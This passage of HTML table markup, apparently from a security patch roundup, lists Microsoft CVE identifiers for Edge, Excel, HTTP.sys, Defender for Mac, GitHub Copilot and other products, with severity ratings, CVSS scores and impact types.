  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
